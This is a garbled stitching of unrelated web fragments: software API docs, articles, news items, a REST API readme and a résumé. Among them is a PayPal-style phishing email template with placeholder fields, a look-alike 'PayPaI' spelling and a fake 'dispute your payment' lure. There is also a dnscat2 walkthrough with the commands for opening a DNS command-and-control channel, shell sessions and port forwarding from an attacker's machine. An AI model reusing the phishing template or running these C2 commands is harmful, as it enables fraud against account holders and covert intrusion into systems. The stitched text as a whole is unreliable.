by<EMAIL_ADDRESS>Paste your log here, then executive code will show.
p.s. be sure to turn MPRINT option on.


Constructor
new PubSub()
- Source:
Methods
publish(topic, payload) → {void}
Parameters:
| Name |
Type |
Description |
topic |
*
|
The topic for the payload to be published on. |
payload |
*
|
The payload that will be published. |
- Source:
Returns:
-
Type
-
void
subscribe(topic, key, callback) → {void}
Parameters:
| Name |
Type |
Description |
topic |
*
|
The topic of interest. |
key |
*
|
The value that is used to uniquely identify the callback. |
callback |
handlePayload
|
The callback that will be ran when a payload is published. |
- Source:
Returns:
-
Type
-
void
unsubscribe(topic, key) → {boolean}
Parameters:
| Name |
Type |
Description |
topic |
*
|
The topic that should be unsubscribed from. |
key |
*
|
The key that was used when subscribing. |
- Source:
Returns:
True if the unsubscription was successful, false otherwise.
-
Type
-
boolean


A simple implementation of full binary trees (each non-leaf has 2 children)
More...
#include <permutations.h>
A simple implementation of full binary trees (each non-leaf has 2 children)
◆ FullBinaryTree() [1/2]
| helib::FullBinaryTree::FullBinaryTree |
( |
long |
_aux = 0 | ) |
|
|
inline |
◆ FullBinaryTree() [2/2]
| helib::FullBinaryTree::FullBinaryTree |
( |
const T & |
d, |
|
|
long |
_aux = 0 |
|
) |
| |
|
inlineexplicit |
◆ addChildren()
| long helib::FullBinaryTree::addChildren |
( |
long |
prntIdx, |
|
|
const T & |
leftData, |
|
|
const T & |
rightData |
|
) |
| |
If the parent is a leaf, add to it to children with the given data, else just update the data of the two children of this parent. Returns the index of the left child, the right-child index is one more than the left-child index.
◆ at() [1/2]
| TreeNode<T>& helib::FullBinaryTree::at |
( |
long |
i | ) |
|
|
inline |
◆ at() [2/2]
| const TreeNode<T>& helib::FullBinaryTree::at |
( |
long |
i | ) |
const |
|
inline |
◆ collapseToRoot()
| void helib::FullBinaryTree::collapseToRoot |
( |
| ) |
|
|
inline |
Remove all nodes in the tree except for the root.
◆ DataOfNode() [1/2]
| T& helib::FullBinaryTree::DataOfNode |
( |
long |
i | ) |
|
|
inline |
◆ DataOfNode() [2/2]
| const T& helib::FullBinaryTree::DataOfNode |
( |
long |
i | ) |
const |
|
inline |
◆ firstLeaf()
| long helib::FullBinaryTree::firstLeaf |
( |
| ) |
const |
|
inline |
◆ getAuxKey()
| long helib::FullBinaryTree::getAuxKey |
( |
| ) |
const |
|
inline |
◆ getNleaves()
| long helib::FullBinaryTree::getNleaves |
( |
| ) |
const |
|
inline |
◆ lastLeaf()
| long helib::FullBinaryTree::lastLeaf |
( |
| ) |
const |
|
inline |
◆ leftChildIdx()
| long helib::FullBinaryTree::leftChildIdx |
( |
long |
i | ) |
const |
|
inline |
◆ nextLeaf()
| long helib::FullBinaryTree::nextLeaf |
( |
long |
i | ) |
const |
|
inline |
◆ operator[]() [1/2]
| TreeNode<T>& helib::FullBinaryTree::operator[] |
( |
long |
i | ) |
|
|
inline |
◆ operator[]() [2/2]
| const TreeNode<T>& helib::FullBinaryTree::operator[] |
( |
long |
i | ) |
const |
|
inline |
◆ parentIdx()
| long helib::FullBinaryTree::parentIdx |
( |
long |
i | ) |
const |
|
inline |
◆ prevLeaf()
| long helib::FullBinaryTree::prevLeaf |
( |
long |
i | ) |
const |
|
inline |
◆ printout()
| void helib::FullBinaryTree::printout |
( |
std::ostream & |
s, |
|
|
long |
idx = 0 |
|
) |
| const |
|
inline |
◆ putDataInRoot()
| void helib::FullBinaryTree::putDataInRoot |
( |
const T & |
d | ) |
|
|
inline |
◆ rightChildIdx()
| long helib::FullBinaryTree::rightChildIdx |
( |
long |
i | ) |
const |
|
inline |
◆ rootIdx()
| long helib::FullBinaryTree::rootIdx |
( |
| ) |
const |
|
inline |
◆ setAuxKey()
| void helib::FullBinaryTree::setAuxKey |
( |
long |
_aux | ) |
|
|
inline |
◆ size()
| long helib::FullBinaryTree::size |
( |
| ) |
|
|
inline |
The documentation for this class was generated from the following file:


*All the fields must be less than {{ rio.maxlenShort }} characters long.
This field can be at most {{rio.maxlenShort}} characters long.
This field can be at most {{rio.maxlenShort}} characters long.
This field can be at most {{rio.maxlenShort}} characters long.


Directories | |
| directory | src |
Files | |
| file | csl_arm_r5.h |
| Header file containing various enumerations, structure definitions and function declarations for the ARM R5 IP. | |
| file | csl_arm_r5_hard_err_cache.h |
Header file containing various enumerations, structure definitions and function declarations for the ARM R5 hard error cache.(C) Copyright 2019, Texas Instruments, Inc. | |
| file | csl_arm_r5_mpu.h |
Header file containing various enumerations, structure definitions and function declarations for the ARM R5 MPU IP.(C) Copyright 2019, Texas Instruments, Inc. | |
| file | csl_arm_r5_pmu.h |
Header file containing various enumerations, structure definitions and function declarations for the ARM R5 PMU IP.(C) Copyright 2019, Texas Instruments, Inc. | |
| file | arch/r5/csl_cache.h |
| file | csl_mcu_armss_ccmr5.h |
| file | csl_vim.h |
Header file containing various enumerations, structure definitions and function declarations for the VIM IP.(C) Copyright 2017-2019, Texas Instruments, Inc. | |
| file | r5/interrupt.h |


Debugging Services
Execution of code for debugging can be controlled by algorithm specific
parameters or by the Zoltan key parameter DEBUG_LEVEL.
The value of the Debug_Level field of the Zoltan_Struct
structure can be tested to determine whether the user desires debugging
information. Several constants (ZOLTAN_DEBUG_*) are defined in
zz/zz_const.h; the Debug_Level field should be compared to
these values so that future changes to the debugging levels can be made
easily. An example is included below.
Several macros for common debugging operations are provided. The
macros can be used to generate function trace information, such as when
control enters or exits a function or reaches a certain point in the execution
of a function.
ZOLTAN_TRACE_ENTER
ZOLTAN_TRACE_EXIT
ZOLTAN_TRACE_DETAIL
These macros produce output depending upon the value of the DEBUG_LEVEL
parameter set in Zoltan by a call to Zoltan_Set_Param.
The macros are defined in zz/zz_const.h.
Examples of the use of these macros can
be found below and in lb/lb_balance.c
and rcb/rcb.c.
ZOLTAN_TRACE_ENTER(struct Zoltan_Struct
*zz, char *function_name);
ZOLTAN_TRACE_ENTER prints to stdout a message stating that
a given processor is entering a function. The call to the macro should
be included at the beginning of major functions for which debugging information
is desired. Output includes the processor number and the function
name passed as an argument to the macro. The amount of output produced
is controlled by the value of the DEBUG_LEVEL
parameter set in Zoltan by a call to Zoltan_Set_Param.
| Arguments: |
|
| zz |
Pointer to a Zoltan structure.
|
| function_name |
Character string containing the function's name. |
| Output: |
|
| |
ZOLTAN (Processor #) Entering function_name |
ZOLTAN_TRACE_EXIT(struct Zoltan_Struct
*zz, char *function_name);
ZOLTAN_TRACE_EXIT prints to stdout a message stating that
a given processor is exiting a function. The call to the macro should
be included at the end of major functions (and before return statements)
for which debugging information is desired. Output includes the processor
number and the function name passed as an argument to the macro.
The amount of output produced is controlled by the value of the DEBUG_LEVEL
parameter set in Zoltan by a call to Zoltan_Set_Param.
| Arguments: |
|
| zz |
Pointer to a Zoltan structure.
|
| function_name |
Character string containing the function's name. |
| Output: |
|
| |
ZOLTAN (Processor #) Leaving function_name |
ZOLTAN_TRACE_DETAIL(struct
Zoltan_Struct
*zz, char *function_name, char *message);
ZOLTAN_TRACE_DETAIL prints to stdout a message specified
by the developer. It can be used to indicate how far execution
has progressed through a routine. It can also be used to print values
of variables. See the example below. Output includes the processor
number, the function name passed as an argument to the macro, and a user-defined
message passed to the macro. The amount of output produced is controlled
by the value of the DEBUG_LEVEL
parameter set in Zoltan by a call to Zoltan_Set_Param.
| Arguments: |
|
| zz |
Pointer to a Zoltan structure.
|
| function_name |
Character string containing the function's name. |
| message |
Character string containing a message defined by the developer. |
| Output: |
|
| |
ZOLTAN (Processor #) function_name: message |
Example:
An example using the debugging macros in shown below.
#include "zoltan.h"
void example(struct Zoltan_Struct
*zz)
{
char *yo = "example";
char tmp[80];
int a, b;
ZOLTAN_TRACE_ENTER(zz, yo);
a = function_one(zz);
ZOLTAN_TRACE_DETAIL(zz, yo, "After function_one");
b = function_two(zz);
sprintf(tmp, "b = %d a = %d", b, a);
ZOLTAN_TRACE_DETAIL(zz, yo, tmp);
if (zz->Debug_Level >= ZOLTAN_DEBUG_ALL)
printf("Total = %d\n", a+b);
ZOLTAN_TRACE_EXIT(zz, yo);
}
[Table of Contents | Next:
Adding New Load-Balancing Algorithms | Previous:
ZOLTAN_TIMER | Privacy and Security]


| |
Hello {email},
Thank
you for your order, your payment to Sherri Phillips has
been received, and Your package from Sherri Phillips is
on its way. You can track it online using this tracking
number.
U.S. Postal Service: EP861431686US
Its
not you ? Don't worry, you have been protected by
anti-fraud buyer protection, and you can
dispute your payment PayPaI Payment
here
Just
a reminder:
- It can take a few hours or even half a day
for shippers to update tracking information.
- If
you ordered a bunch of stuff, some of it may
arrive separately, so look for more than one
package.
|
|
Seller Sherri
Phillips<EMAIL_ADDRESS>Shipping address - unconfirmed Jeffrilin
Kangin Villa
Bukit Regency III PE 9 No. 6 Surabaya,East
Java 60216 Indonesia
|
Shipping details Mailing
date: {date} Shipper: U.S. Postal
Service Tracking number:
EP861431686US Service type: Expedited Priority
Mail Express International® Shipping Status:
Shipped |
| Description |
Unit price |
Qty |
Amount |
HERMES
7302 EA Men's 100% Silk Necktie FRANCE Luxury
CHAINS Burgundy/Yellow EUC Item#
{numrandom,20,2}
|
$99,99 USD |
1 |
$99,99
USD |
| Subtotal |
$99,99
USD |
| Shipping and handling |
$13,25 USD |
| Insurance - optional |
$0,00 USD |
| Tax |
$0,00 USD |
| Total |
$113,24 USD |
| Payment |
$113,24 USD |
| Payment sent to<EMAIL_ADDRESS>|
|
| |
Cancel This
Order
|
|


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Seth Donohue
Seth is an avid traveler. When he's not hacking up killer code, you can find him hitting the waves in Papau New Guinea.
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Robert loves riding motorcycle trials. When he's not hacking up killer code, you can find him hitting the trails in the forests around Washington.
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User Story Mapping
What is it?
User Story Mapping is an evolution of the traditional Agile backlog, made popular by Jeff Patton in 20081. It’s an effective practice for creating lightweight release plans that can drive standard Agile delivery practices. At the end of user story mapping, you should have:
- A backlog of scope items (captured as stories or simply feature titles) the team believes can be delivered in the planning window. This means some items will be placed out of scope
- The backlog “sliced” into ~3 iterations, such that it forms the outline of plan
- Enough detail in the first iteration of the plan to get started with the work
Why use User Story Mapping?
- No one likes estimating work effort, but it’s an important step in many environments. User Story Mapping presents an approach to estimation that many teams find much more tolerable than practices like planning poker or t-shirt sizing
- Many projects have a natural progression of work from beginning, middle to end. This progression is often lost in a traditional flat backlog. User Story Mapping captures this information with a lightweight mechanism to plan out more than one iteration (i.e. an Agile release plan)
- User Story Mapping presents backlog items in the context of the overall business process so you don’t lose sight of “the big picture”, a common pitfall in Scrum projects
Related Practices
- User Story Mapping is a great way to create an Agile delivery plan for a business process designed with Event Storming
- Program Increment Planning2 in Scaled Agile Framework leverages many of the ideas behind User Story Mapping
- Site Mapping3 should provide the backbone of the User Story Map in UI driven projects
Who do you need?
- Facilitator (if the team is new to the approach)
- Product Owner
- User Experience Design
- Analysts
- Developers
- Testers
Suggested Time
- ~4 Hours not including breaks
- Facilitate in small sessions @ around ~90 minutes each
- Session can be done on different days
Difficulty
- Facilitator: Easy
- Participants: Easy
Facilitation Materials Needed
- Drawing paper roll4. Stickies tend to fall off walls otherwise.
- 3 different colors of wide format sticky notes like the 4x6 sticky notes5
- 2 different colors of small square sticky notes like the 3x3 sticky notes6
- Markers
Process Phase
User Story Mapping is an effective way to transition from the “Develop Potential Solutions” phase to “Deliver Solutions That Work” phase of the Double Diamond7 model.
Additional Resources for Red Hatters (we’re working to share more broadly)
- Red Hatters can access a copy of Jeff Patton’s User Story Mapping book here


| Product name | Price | QUANTITY | SUBTOTAL | |
|---|---|---|---|---|
|
Majestic Beecroft Sweater For Him Size: XL Color: Red Product Code: 12658472 |
$800.00 |
$ 800.00 |
||
|
Majestic Beecroft Sweater For Him Size: XL Color: Red Product Code: 12658472 |
$800.00 |
$ 800.00 |
Cart Subtotal:$2100.00
Shipping:Free Shipping
ORDER TOTAL:$2100.00


Cayambe House / Punch Architecture
- Curated by Paula Pintos
- about 23 hours
Houses Interiors · Las Vegas, United States
- version="1.0" encoding="UTF-8"? Architects: Punch Architecture
- AreaArea of this architecture projectArea: 1052.6 ft2
- version="1.0" encoding="UTF-8"?YearCompletion year of this architecture project Year: 2018
- version="1.0" encoding="UTF-8"?PhotographsPhotographs: James Florio Photography
- version="1.0" encoding="UTF-8"?ManufacturersBrands with products used in this architecture project Manufacturers: Bega, Bulthaup, Cooper Lighting, Du Chateau, Fleetwood, Gaggenau Appliances, Hudson Furniture, Kebony, Kholer Faucets, Lutron Controls, Millesime, Modul marble, Nisho, Sistemalux
- Lead Architects Clemente Cicoria
- Design Team Clemente Cicoria, Drew Gregory, Zak Ostrowski, Eric Niehbor, Namyd Lyoubi, Renee Smith
- Structural Engineer Mendenhall Smith
- Mechanical, Electrical, Plumbing Engineer Comfort Engineering Inc.
- Landscape Attanasio Landscape Architect
- Contractor Blazer Construction
- Collaborators Denton house
More Specs Less Specs
Text description provided by the architects. Cayambe comes from a volcano in our client’s home country of Ecuador. Nevado Cayambe is “a massive Volcanic Complex in Northern Ecuador, 60 km NE of the City of Quito. Cayambe volcano belongs to the Cayambe Volcanic Complex (CVC), which has a roughly rectangular base (24 km E-W, 18 km N-S), and is located at an altitude of 2800-3000 m in the west and at 3400-3800 m asl in the eastern part. The upper part of the complex is elongated in E-W direction and consists of the main summit of Nevado Cayambe (5790m).”*
The elongated and rectangular forms of Nevado Cayambe influence the architectural design of this contemporary Las Vegas home. The program is designed to flow with how the family functions in their day-to-day living. Broken down to a simple formula, Private vs. Public. The public entertaining and living spaces are designated to the first floor a free-flowing plan that allows for exterior circulation access to the 2nd floor roof decks. The first floor connects all outdoor spaces, blurring the lines of indoor/outdoor desert living. Pocket courtyards are pulled into the interior spaces to allow the micro-climates to be experienced daily. The 2nd floor holds all the bedrooms and private spaces with connection to outdoor decks. These rooms capture stunning views of Las Vegas Valley and surrounding Red Rocks Mountains.
Protected natural daylight is important to the entire program and is maximized through strategic locations of glass and covered canopies. The desert sun is harsh and oppressive, but when protected with shade and natural ventilation (through passive cooling and heating), one can live quite comfortably within the desert. Cayambe’s rectilinear forms and canopies extend through the sky, stretching ones view beyond to the elongated mountain range. The thermally treated expansive glass and outdoor sitting areas are protected from the sun with large overhangs (and trellis structures) that create shade and unique shadow vignettes that accentuate the site and architecture of the home.
Like Nevado Cayambe in Ecuador, Cayambe stands strong on its own with minimal, yet simple architectural forms and materials that are relevant to the native Las Vegas desert environment.


Enterprise Private Cloud
A Day in the Life
Configuring Storage
Provisioning a New Network
Responding to VM Creation Requests
Enabling User Self Service
Exploring Categories
Exploring Roles
Exploring Projects
Staging Blueprints
Developer Workflow
Operator Workflows
Using Entity Browser, Search, and Analysis
Improved Life Cycle Management
5.11 Prism Element LCM Interactive Demo
5.11 Prism Central LCM Interactive Demo
Next Steps
Prism Ops Capacity Runway
Lab Setup
Capacity Planning Runway Monitoring
Capacity Planning Runway Analysis
Automate Capacity Forecast Report Generation with X-Play
Takeaways
Right-sizing VMs with Prism Ops
Lab Setup
Inefficiency Detection with Prism Ops X-FIT
Automatically Increase Constrained VM Memory with X-Play
Takeaways
Platform Security
Working with Nutanix STIGS
Running a STIG Report
Analyzing the STIG Report
Compromising the Environment
Example 1
Example 2
Software Based Encryption
Audit Logs
VM Secure Boot
Takeaways
Consolidating Storage with Files
Managing SMB Shares
Creating the Share
Testing the Share
File Analytics
Using NFS Exports
Enabling NFS Protocol
Creating the Export
Testing the Export
Multi-Protocol Shares
Configure User Mappings
Testing the Export
Takeaways
Securing Applications with Flow
Securing the Fiesta Application
Defining Category Values
Creating a Security Policy
Assigning Category Values
Monitoring and Applying a Security Policy
Testing the Application
Using Flow Visualization
Applying Flow Policies
Takeaways
Appendix
Windows Tools VM
Overview
Deploying Tools VM
Linux Tools VM
Overview
Deploying CentOS
Installing Tools
Configuring NTP
Disabling Firewall and SELinux
Installing Python
Glossary
Nutanix Core
AOS
Pulse
Prism Element
Prism Central
Node
Block
Storage Pool
Storage Container
Anatomy of a Read I/O
Anatomy of a Write I/O
Nutanix flow
Application Security Policy
Isolation Environment Policy
Quarantine Policy
AppTier
AppType
Environment
Enterprise Private Cloud
A Day in the Life
Prism Ops Capacity Runway
Right-sizing VMs with Prism Ops
Platform Security
Consolidating Storage with Files
Securing Applications with Flow
Appendix
Windows Tools VM
Linux Tools VM
Glossary
Index


Carmelo Anthony to sign with Portland Trail Blazers: reports
by Ryan GaydosCarmelo Anthony reportedly agreed to a contract with the Portland Trail Blazers and is set to make his NBA return after only appearing in 10 games last season for the Houston Rockets.
Portland has won only four of its first 12 games after making the Western Conference Finals last season. The team is hoping Anthony can add another dynamic to the offense. ESPN first reported that Anthony had signed with the Trail Blazers and could report to the team for its upcoming road trip.
HAWKS’ HUERTER OUT AT LEAST 2 WEEKS WITH SHOULDER INJURY
Portland has yet to announce or confirm the signing.
Anthony, 35, played 14 seasons between the Denver Nuggets and New York Knicks before he began to jump around from team to team. The Knicks traded Anthony to the Oklahoma City Thunder in 2017. The Thunder then included him in a three-team trade in 2018 in which the scorer was shipped to the Atlanta Hawks.
MEMPHIS GRIZZLIES ROOKIE JA MORANT MAKES GAME-WINNING BASKET, CELEBRATES WITH DAD
After the Hawks waived him, Anthony signed with the Rockets. He appeared in 10 games for Houston but never meshed well with the offense that was being run there. In January, he was traded to the Chicago Bulls but was waived several days later.
CLICK HERE FOR MORE SPORTS COVERAGE ON FOXNEWS.COM
Anthony is a 10-time All-Star and six-time All-NBA selection. He won the scoring title during the 2012-13 season. He has averaged 24 points and six rebounds over his career and has shot 44.9 percent from the field.
The Associated Press contributed to this report.


This tutorial will explore an exercise in converting a Silverlight implementation of Worldwide Telescope to the HTML5 format.
The original Silverlight source can be seen here: WWT Web Client Poly Silverlight
The new HTML5 source can be seen here: WWT Web Client Poly HTML5


Dallas Buyers Club
Get the latest LeAnn Rimes News, Bio, Photos, Credits and More for LeAnn Rimes on LeAnn Rimes and Eddie Cibrian's New Reality Show to Air on VH1 Oct 26, 2012. A tearful LeAnn Rimes opens up to Katie Couric about rehab - a She shot to fame when she was 13 after releasing her breakout hit, the 1997


Dnscat2 establishes C&C channel over recursive DNS queries. This tool doesn’t require root/administrator access (works both on windows and linux). It also supports port forwarding. Server side:
ruby ./dnscat2.rb tunneldomain.com
Client side:
./dnscat2 tunneldomain.com
After you receive a connection of server side, you can view the active sessions with windows command:
dnscat2> windows
0 :: main [active]
dns1 :: DNS Driver running on <IP_ADDRESS>:53 domains = tunneldomain.com [*]
1 :: command session (debian)
2 :: sh (debian) [*]
To initiate port forwarding select a command session with session -i <num>:
dnscat2> session -i 1
New window created: 1
New window created: 1
history_size (session) => 1000
This is a command session!
That means you can enter a dnscat2 command such as
'ping'! For a full list of clients, try 'help'.
command session (debian) 1>
Use listen [lhost:]lport rhost:rport command to forward a port:
command session (debian) 1> listen <IP_ADDRESS>:8080 <IP_ADDRESS>:80
This will bind port 8080 on the attacker’s machine and forward all connections to <IP_ADDRESS>:80.


Jekyll blog posts in their own sub URL
As those of us who use Jekyll know, by default it creates a folder and URL structure for all blogs and pages on the site to exit alongside each other in a flat structure. So, the URL structure for this would be as follows:
.
├── blog post 1 permalink
├── blog post 2 permalink
├── about
├── projects
If your whole site is built in Jekyll, however, you may want to organise your URL structure a bit differently. Perhaps you’d like to have all of your posts under their own “sub-URL” and the pages on the root above, like below:
.
├── blog
├── post 1 permalink
├── post 2 permalink
├── about
├── projects
That would be something similar to
http://www.example.com/blog/2018/03/20/post-title-1
http://www.example.com/blog/2018/03/21/post-title-2
http://www.example.com/about
http://www.example.com/projects
The solution below is for new blogs that are just coming out and haven’t been out for long to have had the chance to have posts bookmarked etc. Existing blogs will have to have their old URLs redirected.
To achieve this you need to do three things:
Folder with index file
To have an page with an index of your latest posts, under the new URL structure, create an index.html page in a new folder with the same name as the start the sub-URL. Jekyll will parse this and include it in the site
Permalinks
Change the permalinks to your blog posts. That should exist in the Front Matter of each post or in your _config.yml
. You add the sub-url to the permalink so that if your permalink template looked like this:
permalink: /:year/:month/:day/:title/
It becomes this:
permalink: /blog/:year/:month/:day/:title/
If you didn’t have a permalink configuration the default of /:categories/:year/:month/:day/:title:output_ext
would have been used so the template in the config file should look like /blog/:categories/:year/:month/:day/:title:output_ext
Add the blog index to the site’s navigation
We will assume your site has links to navigate around it. As the new index.html file is not a Jekyll page, it will not appear in the navigation section. To do this, I’ve created a YAML file called nav.yml
in Jekyll’s _data
folder.
The contents of my nav.yml
file:
-
name: Blog
url: '/blog/'
Then, on your site’s navigation links you iterate through the nav.yml
entries (just one in this instance):
This can be places next to the iterator that picks up your normal pages.
Now your blog post URLs will be in a seperate sub-URL from your pages with a link to get to the post index.
- Installing the NewRelic .NET agent on an Alpine Docker image
- An implementation of the Capital Controls kata in Python
- Trigger validation of a dropdown box when tabbing over it in KnockoutJS
- The Capital Controls Kata
- Github Pages offers HTTPS for one custom domain. However you can point more than one domain to your pages (with caveats).


Hi, I'm Emmett Garber. I'm a student at Dev Bootcamp. To find out a little bit about me, checkout the links to see more about me, the projects I am working on, my blog and ways to contact me.


HOME
ABOUT US
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SCROLL OVER TO GIVE THIS GOOD BOY A BALL!


Usage
Example POST request to the register route
POST https://sweetemoji.herokuapp.com/auth/register
Request Body:
{
'username' : 'johndoe',
'password' : 'password',
}
Upon successful register, a Json object is return containing the
status code, the token generated, the token expiry and the success
message. A response header containing the 'Authorization' token is
is also set. This token is required, as an 'Authorization' header
to access all protected routes.
Response Body:
{
"status": 200,
"massage": "Registration Successful"
}
Example POST request to the login route
POST https://sweetemoji.herokuapp.com/auth/login
Request Body:
{
'username' : 'johndoe',
'password' : 'password',
}
Upon successful login, a Json object is return containing the
status code, the token generated, the token expiry and the success
message. A response header containing the 'Authorization' token is
is also set. This token is required, as an 'Authorization' header
to access all protected routes.
Response Body:
{
'token' : 'SomeRandomToken'
}
GET request to the logout route
GET https://sweetemoji.herokuapp.com/auth/logout
Request Body:
{
'token' : 'SomeRandomToken'
}
Upon successful fulfil of request, the token is unset and a json
object returned containing the message.
Response Body:
{
'status': 200,
'message': 'token unset'
}
TO save an Emoji, a POST request has to be made to https://sweetemoji.herokuapp.com/emojis
Like so:
POST https://sweetemoji.herokuapp.com/emojis
Request Body:
{
'tag' : 'tags',
'title' : 'someName',
'image' : 'happyface.png',
}
Note that the 'Authorization' header should contain the token
The response received from that request will be of this form
Response Body:
{
'status' : 201,
'message' : 'Record created'
}
To get all emojis, a GET request should be sent to
https://sweetemoji.herokuapp.com/emojis
This route is not protected and does not need an authorization header.
Example:
GET https://sweetemoji.herokuapp.com/emojis
Response Body:
[
{
'id' : 1,
'tag' : 'smile, face, happy',
'title' : 'smile',
'image' : 'happyface.png',
},
{
'id' : 2,
'tag' : 'sad, face, cry',
'title' : 'sad',
'image' : 'sadface.png',
}
]
To edit an emoji send a PUT request to
https://sweetemoji.herokuapp.com/emojis/{id}
Example:
PUT https://sweetemoji.herokuapp.com/emojis/1
Request Body
{
'id' : 1,
'tag' : 'smile, face, happy',
'title' : 'smile',
'image' : 'happyface.png',
},
All arguments, except the id, are optional.
Response Body:
{
'status' : 200,
'message' : 'Record modified'
}
To delete an Emoji, send a DELETE request to
https://sweetemoji.herokuapp.com/emojis/{id}
Example:
DELETE https://sweetemoji.herokuapp.com/emojis/1
Request Body:
{
'id' : 1
}
The reponse will be like so:
Response Body:
{
'status' : 200,
'message' : 'Record deleted'
}


See how other people are deploying Jenkins/Hudson to get some idea of how to make it fit your environment.


Callie & Jamie Enjoy Some Holiday Festivities With Family in First Pics From 'Good Trouble's Holiday Special
Brand new pics from the Good Trouble holiday special are here!
The two hour special will air on Monday, December 16th on Freeform, during the network’s 25 Days of Christmas.
The cast of The Fosters will return for the special when they all come to spend the holidays with Callie and Mariana at the Coterie.
In the first hour, “Nochebuena,” The Fosters visit the Coterie for Christmas and Callie struggles to tell her moms about quitting her clerkship, while Mariana agrees to volunteer for a holiday festival for the underprivileged. Alice is hiding a secret from the Coterie, and Davia strolls down memory lane with Dennis, opening old wounds.
Then, in hour two, “A Very Coterie Christmas,” the Fosters and the Hunters help out with the impromptu volunteer Christmas event. Stef agrees to be a part of Mariana’s plan to avoid a major catastrophe, all while Gael and Jazmine deal with a painful family decision.
And, Jamie is eager to ask Callie a very important question.
Check out all the new pics in the gallery now!


|
LostInCompilation
0.1.0
|
#include <VisitedTreeNode.h>
Public Member Functions | |
| VisitedTreeNode () | |
| virtual | ~VisitedTreeNode () |
| virtual void | accept (VisitorPtr visitor) |
| virtual void | apply (TreeWalkerPtr walker, TraverseStrategy strategy) |
| virtual void | insertChild (TreeNodePtr childPtr, ParentNodePtr parentPtr) |
| virtual void | insertChild (TreeNodePtr childPtr) |
| virtual void | insertChildren (std::vector< TreeNodePtr > &childrenPtr) |
| virtual size_t | getNumOfChildren () |
| virtual size_t | getChildIndexOf (TreeNodePtr ptr) |
| virtual bool | isChildAt (size_t i) |
| virtual TreeNodePtr | getChildAt (size_t index) |
| virtual void | removeChildAt (size_t) |
| virtual void | replaceChildAt (size_t, TreeNodePtr) |
| virtual void | removeAllChildren () |
| virtual ParentNodePtr | getParent () |
| virtual bool | isRoot () |
| virtual bool | isLeaf () |
| virtual size_t | getDepth () |
| virtual void | setState (TraverseAction action) |
| virtual TraverseAction | getState () |
| virtual void | setParent (ParentNodePtr ptr) |
| virtual void | replace (TreeNodePtr that) |
| virtual std::string | toString () |
Protected Member Functions | |
| virtual TreeNodePtr | getThisPtr () |
Protected Attributes | |
| std::vector< TreeNodePtr > | _children |
| bool | _isRoot |
| size_t | _depth |
| ParentNodePtr | _parent |
| TraverseAction | _state |
Private Member Functions | |
| void | doInOrder (TreeWalkerPtr walker) |
| void | doPostOrder (TreeWalkerPtr walker) |
| void | doPreOrder (TreeWalkerPtr walker) |
| void | doBreadthFirst (TreeWalkerPtr walker) |
| void | doDepthFirst (TreeWalkerPtr walker) |
| void | visitChildren (TreeWalkerPtr walker) |
An implementation of TreeNode and VisitedObject that represent a tree data structure.
A TreeWalkerPtr will operate on a this tree-like structure with respect to which traversal strategy
| VisitedTreeNode::VisitedTreeNode | ( | ) |
|
virtual |
|
virtual |
VisitedTreeNode accepts a visitor by performing DEPTH_FIRST traversal (default)
| visitor | pointer to a Visitor |
Implements VisitedObject.
|
virtual |
VisitedTreeNode accepts a visitor by performing a desginated traversal strategy (default)
| walker | pointer to a TreeWalker |
| strategy | a designated traversal strategy |
|
private |
TreeWalker recursively visit the tree via breadth-first fasion.
| walker | TreeWalker to visit children node |
|
private |
TreeWalker recursively visit the tree via depth-first fasion.
| walker | TreeWalker to visit children node |
|
private |
TreeWalker recursively visit the tree via in-order fasion.
NOTE: only valid for binary tree
| walker | TreeWalker to visit children node |
|
private |
TreeWalker recursively visit the tree via post-order fasion.
NOTE: only valid for binary tree
| walker | TreeWalker to visit children node |
|
private |
TreeWalker recursively visit the tree via pre-order fasion.
NOTE: only valid for binary tree
| walker | TreeWalker to visit children node |
|
virtualinherited |
Retrieve the pointer of child TreeNode given a index
| index | A positive number representing the index of the child TreeNode |
| IllegalStateException,if | index is larger than size of children list |
|
virtualinherited |
Retrieve the index of desginated child node
| ptr | A pointer to one of the child TreeNode |
|
virtualinherited |
|
virtualinherited |
Retrieve # of children (nodes)
|
virtualinherited |
|
virtualinherited |
Retrieve the visiting state
|
protectedvirtualinherited |
|
virtualinherited |
add TreeNodePtr as child and set ParentNodePtr as the parent of child node
| childPtr | child node pointer |
| parentPtr | parent node pointer |
|
virtualinherited |
add childPtr as child node and set the current node as the parent of child node
| childPtr | child node pointer |
|
virtualinherited |
add childrenPtr as list of child nodes and set the current node as the parent of those child nodes
| childrenPtr | a list / vector of child node pointers |
|
virtualinherited |
Check whether there are more than certain number of children.
|
virtualinherited |
|
virtualinherited |
|
virtualinherited |
|
virtualinherited |
|
virtualinherited |
Replace everything in this with that, including parentPtr, and children pointers
| that |
|
virtualinherited |
|
virtualinherited |
|
virtualinherited |
|
virtualinherited |
|
private |
TreeWalker visit the children nodes
NOTE: only for DEPTH_FIRST strategy
| walker | TreeWalker to visit children node |
|
protectedinherited |
|
protectedinherited |
|
protectedinherited |
|
protectedinherited |
|
protectedinherited |


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The web page you seek Cannot be located, but Countless more exist. Head back home to try finding it again, or spend a few minutes relaxing here instead.


{% extends "layout.html" %} {% block title %} Issue Label Predictions {% endblock %} {% block body %}
Only showing last 50 predictions
Issue Label Bot has not observed any issues for {{ owner }}/{{ repo }} since the app was installed.


3016 Pickett Rd, Apt 602 • Durham, NC 27705
<EMAIL_ADDRESS>• gregajohnston.github.io
github.com/gregajohnston • linkedin.com/in/gregajohnston
Master's graduate seeking to leverage experience in risk analysis, personnel management and quality assurance for development position. Dedicated employee with outstanding attention to detail and communication skills. Recently completed course of study in backend development and data science at The Iron Yard code school. Specific expertise in the following:
Python, HTML, CSS, JavaScript
Project Management
Statistical Modeling
Database Management
The Iron Yard Durham, NC
March 2016 - June 2016
Twelve week immersive class with intensive coursework in Python Engineering and a focus in Data Science.
Python Developer
March 2016 - June 2016
Learn skills and best practices related to Python development and data science.
Created Bona Petite, sending environmental sensor data over Wi-Fi to web app
Developed and deployed Django web apps using Postgresql databases
Implemented pandas and scikit-learn to develop machine learning algorithms
Learned core Python programming fundamentals including common best practices
Integrated Power Services Cleveland, OH
March 2013 - August 2015
Specializes in engineering, repair and maintenance services for electric motors and generators in continuous process industries including mining, petrochemical and electrical utilities.
Nuclear Quality Control Inspector
July 2014 - August 2015
Execute and oversee aspects of 10CFR Appendix B nuclear quality assurance program and ensure adherence to Nuclear Regulatory Commission requirements.
Implement database to track calibration/maintenance of 350+ measurement devices
Assisted in 75% reductino of NUPIC audit findings
Technical Writer, Nuclear Division
April 2014 - July 2014
Identify technical requirements and develop documents for nuclear quality processes.
Researched and wrote work instructions for mechanical and electrical test procedures
Provided IT support for internal work processes
